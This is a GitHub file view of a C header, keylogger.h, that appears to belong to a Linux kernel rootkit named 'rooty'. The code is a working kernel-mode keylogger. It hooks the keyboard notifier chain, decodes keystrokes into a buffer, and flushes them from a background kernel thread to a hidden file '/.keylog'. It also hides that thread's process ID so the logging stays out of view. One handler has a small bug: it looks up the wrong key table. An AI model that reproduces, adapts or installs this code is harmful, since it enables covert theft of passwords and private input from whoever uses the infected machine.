-
Notifications
You must be signed in to change notification settings - Fork 16
/
keylogger.h
229 lines (183 loc) · 5.09 KB
/
keylogger.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#define FLUSHSIZE 16
#define LOGSIZE 128
#define LOG_FILE "/.keylog"
unsigned long sequence_i = 0;
DECLARE_WAIT_QUEUE_HEAD(flush_event);
struct task_struct *log_ts;
struct file *logfile;
volatile unsigned long to_flush = 0;
unsigned long logidx = 0;
char logbuf[LOGSIZE];
static void ksym_std ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char val = param->value & 0xff;
unsigned long len;
//printk("rooty: KEYLOGGER: ksym_std: %s\n", ascii[val]);
len = strlcpy(&logbuf[logidx], ascii[val], LOGSIZE - logidx);
logidx += len;
}
static void ksym_fnc ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char val = param->value & 0xff;
unsigned long len;
if ( val & 0xf0 )
{
len = strlcpy(&logbuf[logidx], upper[val & 0x0f], LOGSIZE - logidx);
//printk("rooty: KEYLOGGER: ksym_fnc: %s\n",upper[val & 0x0f]);
}
else
{
len = strlcpy(&logbuf[logidx], fncs[val], LOGSIZE - logidx);
//printk("rooty: KEYLOGGER: ksym_loc: %s\n",fncs[val]);
}
logidx += len;
}
static void ksym_loc ( struct keyboard_notifier_param *param, char *buf )
{
unsigned long len;
unsigned char val = param->value & 0xff;
//printk("rooty: KEYLOGGER: ksym_loc: %s\n",locpad[val]);
len = strlcpy(&logbuf[logidx], locpad[val], LOGSIZE - logidx);
logidx += len;
}
static void ksym_num ( struct keyboard_notifier_param *param, char *buf )
{
unsigned long len;
unsigned char val = param->value & 0xff;
//printk("rooty: KEYLOGGER: ksym_num: %s\n",numpad[val]);
len = strlcpy(&logbuf[logidx], numpad[val], LOGSIZE - logidx);
logidx += len;
}
static void ksym_arw ( struct keyboard_notifier_param *param, char *buf )
{
unsigned long len;
unsigned char val = param->value & 0xff;
//printk("rooty: KEYLOGGER: ksym_arw: %s\n",arrows[val]);
len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx);
logidx += len;
}
static void ksym_mod ( struct keyboard_notifier_param *param, char *buf )
{
unsigned long len;
unsigned char val = param->value & 0xff;
//printk("rooty: KEYLOGGER: ksym_mod: %s\n",mod[val]);
len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx);
logidx += len;
}
static void ksym_cap ( struct keyboard_notifier_param *param, char *buf )
{
unsigned long len;
//printk("rooty: KEYLOGGER: ksym_cap: <CAPSLOCK>\n");
len = strlcpy(&logbuf[logidx], "<CAPSLOCK>", LOGSIZE - logidx);
logidx += len;
}
void translate_keysym ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char type = (param->value >> 8) & 0x0f;
if ( logidx >= LOGSIZE )
{
printk("rooty: KEYLOGGER: Failed to log key, buffer is full\n");
return;
}
switch ( type )
{
case 0x0:
ksym_std(param, buf);
break;
case 0x1:
ksym_fnc(param, buf);
break;
case 0x2:
ksym_loc(param, buf);
break;
case 0x3:
ksym_num(param, buf);
break;
case 0x6:
ksym_arw(param, buf);
break;
case 0x7:
ksym_mod(param, buf);
break;
case 0xa:
ksym_cap(param, buf);
break;
case 0xb:
ksym_std(param, buf);
break;
}
if ( logidx >= FLUSHSIZE && to_flush == 0 )
{
to_flush = 1;
wake_up_interruptible(&flush_event);
}
}
int flusher ( void *data )
{
loff_t pos = 0;
mm_segment_t old_fs;
ssize_t ret;
while (1)
{
wait_event_interruptible(flush_event, (to_flush == 1) || kthread_should_stop());
if(kthread_should_stop())
return 0;
if (logfile)
{
old_fs = get_fs();
set_fs(get_ds());
ret = vfs_write(logfile, logbuf, logidx, &pos);
set_fs(old_fs);
}
to_flush = 0;
logidx = 0;
}
return 0;
}
int notify ( struct notifier_block *nblock, unsigned long code, void *_param )
{
struct keyboard_notifier_param *param = _param;
if ( logfile && param->down )
{
switch ( code )
{
case KBD_KEYCODE:
break;
case KBD_UNBOUND_KEYCODE:
case KBD_UNICODE:
break;
case KBD_KEYSYM:
translate_keysym(param, logbuf);
break;
case KBD_POST_KEYSYM:
break;
default:
printk("rooty: KEYLOGGER: Received unknown code: %lu\n",code);
break;
}
}
return NOTIFY_OK;
}
static struct notifier_block nb =
{
.notifier_call = notify
};
void init_keylogger(void)
{
printk("rooty: Installing keyboard sniffer\n");
register_keyboard_notifier(&nb);
logfile = filp_open(LOG_FILE, O_WRONLY|O_APPEND|O_CREAT, S_IRWXU);
if ( ! logfile )
printk("rooty: KEYLOGGER: Failed to open log file: %s", LOG_FILE);
log_ts = kthread_run(flusher, NULL, "kthread");
hide_proc(log_ts->pid);
}
void stop_keylogger(void)
{
printk("rooty: Uninstalling keyboard sniffer\n");
unhide_proc(log_ts->pid);
kthread_stop(log_ts);
if ( logfile )
filp_close(logfile, NULL);
unregister_keyboard_notifier(&nb);
}